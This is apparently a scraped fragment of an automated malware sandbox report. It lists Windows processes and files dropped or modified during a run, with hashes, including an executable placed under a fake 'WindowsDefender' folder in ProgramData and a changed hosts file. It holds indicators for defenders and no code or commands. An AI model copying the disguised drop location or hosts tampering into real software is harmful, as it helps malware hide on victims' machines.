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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:5016
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵PID:3164
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵PID:4032
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\ProgramData\WindowsDefender\windows32.exe
- Size 5.3MB
- SHA256 77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169ccc
- MD5 e3ced444bae9553d28fb559933f0ec20
- SHA1 f143efaa692722222e521e85887a9e1171eda9fa
- SHA512 799e8ca8c54bb5efe4f3743d2349f268c04f42c8f0240aea951b9e5c8acf7fa6186c1da7971a6a4845cbc31076cd77e54e5e976ba3b7305f220aa3801bf8254e
- SSDEEP 98304:WBJpFxbha2/ZWEmaSZfMo9KPxBrL2NeJRkYuvta5RSlCoYa4yz+dMbbgwvY:UFxNa24bxMPDyrtvo+lCo8MDY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pacrxjgd.bez.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 7036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f
- MD5 aa187cac09f051e24146ad549a0f08a6
- SHA1 2ef7fae3652bb838766627fa6584a6e3b5e74ff3
- SHA512 960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2
- MD5 SHA1 SHA512
- Path C:\Windows\system32\drivers\etc\hosts
- Size 3KB
- SHA256 b0d81bc6e9ed18f4b19f3057d3c1b6ef65eaec17c7e27031a67c3220ee487c21
- MD5 8d346e67fe454926c9be4324ada55a7f
- SHA1 b75f48371401e1a22f475ea5ebc212168cb3b6d6
- SHA512 e719a64ec49c0859d8611446a8ce9376d61ce9302bc78faa0f22dc6b775d3c0eb6aa5c293f8df8bf409861ae19f2ffa9e80e3a2cea6312f60aa70d3ae3e4181a
- MD5 SHA1 SHA512